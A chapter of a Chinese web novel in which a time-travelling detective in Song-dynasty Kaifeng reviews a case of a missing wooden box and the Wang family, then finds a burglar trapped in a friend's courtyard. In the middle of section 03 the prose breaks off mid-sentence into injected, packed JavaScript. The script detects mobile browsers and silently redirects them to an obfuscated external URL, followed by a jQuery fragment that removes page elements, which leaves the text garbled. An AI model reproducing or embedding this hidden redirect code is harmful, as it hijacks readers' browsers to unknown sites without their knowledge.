01
王彦之一日之内折损两名儿子进了大牢,本就苍老的面色看上去像是又被抽走了七八成的生气。
老大王德财的败露还可以说是他自作孽,可小儿子的冤案,明显就是那位大人给王家下的最后通牒。
宝贝没有如期交付,还闹出这么大的动静,现在连开封府都介入了。王德仕还活着,就是神秘大人给出的倒计时,这位大人能如此轻易的买命设局,足见其权力之大。
王彦之现下能够想到的唯一的弥补方式,就是倾家荡产赔钱消灾。
他让王德宝和王瑜将各自掌管的账本全部拿出,要连同铺子和家当一起折了,争取个谅解。
“万万不可啊!”王德宝不同意,“万一那大人报复心强,拿了家当还不放人,反告我们行贿,到时候换来一个满门抄斩……”
“是不是因为你大哥说了那番话,你就要看他落难?你也看不得弟弟闲散,也恨不得他死,对不对!”
王彦之又气又悲,两行老泪簌簌落下。“我一直以为,你们兄弟几人,相互团结帮持,王家的气数还能往上走个百年!没想到……没想到你们几人早就生了嫌隙,没想到家中气数早就尽了!”
王彦之缓缓起身,歪歪扭扭走了几步:“到今天这个地步,我也无颜苟活,不如也一头撞死去了!”
说着就弓腰要往柱子那跑,被王德宝和王瑜合力抱住。
“二哥,先拿账本吧!要不要散尽家财还可以再想,若不照做就得搭上父亲的性命了!”
王德宝急的跺脚,在王瑜的催促下还是答应了。
02
“看出了什么?”
“除了都是楠木材质,漆的颜色差不多,其余都不一样。”
桌面上放着两个木匣子,乍一看一样,但稍微细看就会发现很多区别。
一只是从王彦之家门口的枯井中捞出来的,另一只是盛兴茶坊装过哑石脑袋的。
宋连盯着两个匣子看太久,眼睛酸痛,闭着眼做了几组眼保健操的动作。“要有个放大镜就好了!”
傅濂虽说已经习惯了宋连动不动就冒出一串奇怪的话语,但还是忍不住每次都捧哏:“哦?何为放大镜?”
“嘶——”自己有在无意识情况下给自己挖了个坑,“放大镜……它是一种玻璃制品,能将物体的细节放大。”
宋连简单将放大镜的外观形态和功能说明了一番,傅濂全程0o0的表情。
可惜这些都是“传说”,现在他们能使用的工具只有自己的肉眼。不过这俩八竿子打不着的匣子倒也不需要什么高精尖的仪器,因为他们早就被王彦之判定为赝品。
“我们再重头复盘一下这个案子的始末。”宋连在墙上开始乱涂乱画:
下元节那天,王彦之大设宴席,说是为了供奉水官,但更像是在炫耀资本。现在看来,当时的他对于这单代购胸有成竹,几乎认为自己小儿子的仕途已经走上了正轨。
结束时将近午夜,参加宴请的宾客都由王瑜亲自送上各自的车回家了。
宋连在途中看到一个红衣女子,面色苍白,冒雨落荒而逃。
就在差不多的时间,一道雷电劈开了王彦之书房的暗室屋顶。
不久后,流民李东山敲了王宅大门,被管家安排到车棚避雨。再后来他目睹了一个疑似云娘的女子带着包袱逃跑,因为担心被牵扯其中,所以冒雨跑走,不慎跌落枯井中。
第二日,王彦之发现木匣子不见了,清早找李士卿求助,由于大雨破环了现场,并没有发现有人入侵盗窃的痕迹,除了那个木匣子,其余宝贝都在。
通过李士卿一番神叨叨操作,在王彦之家门口的枯井中发现了李东山和一具白骨,以及一只匣子——长得很像,但并不是丢失那个。
“我们暂且称为‘赝品A’吧!”宋连继续。
尸检显示,白骨死于半个月前,正是王彦之拿到宝贝匣子的时间。与此同时,我们又再李士卿神叨叨操作下……
“咳咳——”李士卿使劲的咳了咳,对宋连把他的行为归类为“神叨叨”表示抗议。
“在李士卿的‘引导下’……”宋连换了话术。
在李士卿的引导下,在汴河下游发现了厨娘云娘,幸运的是她没死,不幸的是至今还未清醒。
尽管她无法亲口讲述当晚究竟发生了什么,却也努力向我们提供了宝贵的线索——拼命保存下的一段布条——把我们指向了盛兴茶坊。
我们到达茶坊的时候,哑石已经被害,手里捧着另一个匣子“赝品B”。还牵涉出王德财私设赌坊,以及从安南偷渡贩卖女子。
紧接着,王家末子王德仕就因为强抢民女致两人死亡被缉拿。
几分钟时间,墙上已经被宋连画的满满当当。案子到此,已经有四个人因为这个神秘的匣子死亡,可他们对这匣子几乎一无所知。
“宋检法,有何见解?”傅濂问。
“被害者就像局中的棋子,好像早早就被安排在了各自的位置上,像多米诺骨牌,”宋连解释道:“有一种游戏,将很多竹牌以一定距离码成一排,推倒第一个,带动后面的牌一个接一个的倒下,也叫连锁反应。”
甲丁又默默在本子上记下“多米诺骨牌,要玩一玩!”
傅濂有些难以理解,还是点了点头:“我也有同感,似乎这就是一场刻意针对王家的局。可王彦之就算家财万贯翻了天,也不过是个商人身份,能有如此滔天权力的大人,根本犯不着和一个商人下这么大血本。”
“不过有一点,这个人一定是对王家每个人的生活习惯都了如指掌。”
03
宋连几人已经鏖战好几天,从精神到肢体都达到了极限值。横竖也想不出什么新思路,于是决定回到暌违已久的家中,补足睡眠,来日再战。
从开封府衙出来已经是夜晚,路径州桥的时候夜市已经开张,灯火通明,只有那刚出了命案的州桥酒楼一片黑暗,闭门整改。
甲丁经过的时候不禁唏嘘:“不知何时还能再吃到他家的餐食了。”
可州桥夜市并不会因为一家酒店关张而冷清下来。街上人头攒动,街边摊贩悠长的吆喝,让宋连短暂地忘却了那些血淋淋的场面。
“等这案子结了,我们得好好出来放松放松!有好些瓦肆我都熟悉,带你逛个够!”甲丁长叹一气,更像是在为自己打气。
“好啊,就是不知道案子什么时候能水落石出。”
甲丁却是信心满满:“有宋大人在,用不了多久就能结案!”
宋连斜眼看甲丁:“我一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291190|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
穷二白,盗贼见了我都要给我捐款,你说再多漂亮话我也什么都给不了你。”
“此言差矣!”甲丁从怀中掏出小本本,“你看,这一本都快写完了!”
甲丁小心翼翼把小本子塞回怀中,又说:“虽然你讲话很奇怪,经常听不懂,但你断案厉害啊!”他指了指胸口小本本的位置,“这个,以后我定要传给我的子子孙孙,让他们好好学习,成为和宋检法一样的断案神探!”
看看,看看!白队你快看看!甭管这是你先祖还是你前世,看看人家什么态度!哪像你,整天拉拉张驴脸!
宋连在心里无声呼喊。
甲丁和白队一模一样,但他不是白队;他尽职充当着助力的角色,但他也不是岳雲。
思及此,他竟突然在这热闹喧嚣的人群中感受到了一丝孤独。
“宋连,”身边突然传来李士卿的声音,“有人要闯我空门!”
04
李家大宅除了他们三人以外,并无一仆一婢,平日里三人都不在家的时候,也只是大门紧锁,李士卿似乎从来不担心有贼盯上这豪宅。
后来他们将云娘这个ICU病号安置在宅子里,白天三人照例该干什么干什么。因为李士卿说云娘喝了他的符水,无需进食。并且他在云娘身上下了符纸,可以远程监测。
要放在以前,宋连是绝对不会相信的,但这个招式他们曾经使用过多次。宋连对李士卿的功力始终摸不到底。你说他厉害吧,好像也没那么神通广大,并不能如同他想象中那样呼风唤雨,把鬼鬼神神的拉出来问话;说他没什么本事吧,有总能在关键时刻蒙对答案。一次两次还能算蒙,但次次都对,就不能只一句“运气”可以说清的。
这几日情况特殊,三人分身乏术也没办法临时找信得过的人照顾一个姑娘,宋连没得选,只能相信李士卿的神奇大法。
现在李士卿说有贼人闯空门,三人第一反应都是:这是冲着云娘要灭她口的!
甲丁率先着急起来,迈腿已经准备窜出去了,被李士卿拦住:“莫慌,此人现在已被困住,云娘不会有事。”
甲丁不理解,李士卿家中根本没有任何陷阱,连个捕鼠器之类的都没有,如何能困得住一个飞檐走壁的贼?
到了院中他才知道,这人是真的被“困”住了。
只见他跟失心疯了似的,一直在绕着庭院打转,明明四周围墙努努力就能翻出去,但那人上蹿下跳始终不靠近围墙。
三人到的时候那人已经转的精疲力尽,看到三个活生生的人类出现,竟然痛哭流涕,抱住甲丁的大腿喊:“救命!救救我!这里不对劲,我遇着鬼打墙了!”
宋连和甲丁不由自主环顾庭院一圈,他俩在这院子里吃过饭,喝过酒,唱过K,丢过人……你现在说这儿鬼打墙?
但他们的确亲眼看到一个身手矫健的汉子一边哭一边绕着院子空转,跟体育课被罚跑圈的学生似的。
李士卿倒一点不奇怪,上前问那人:“你是何人,为何闯入我家?”
那人往后院云娘所在的方向瞟了一眼,又硬气起来:“爷爷人送外号檐上飘!来您宅子里寻些银钱,劫富济贫!”
宋连在内心发送了一个尴尬脸问号gif表情:ber,哥们你这台词,国产烂剧看多了吧!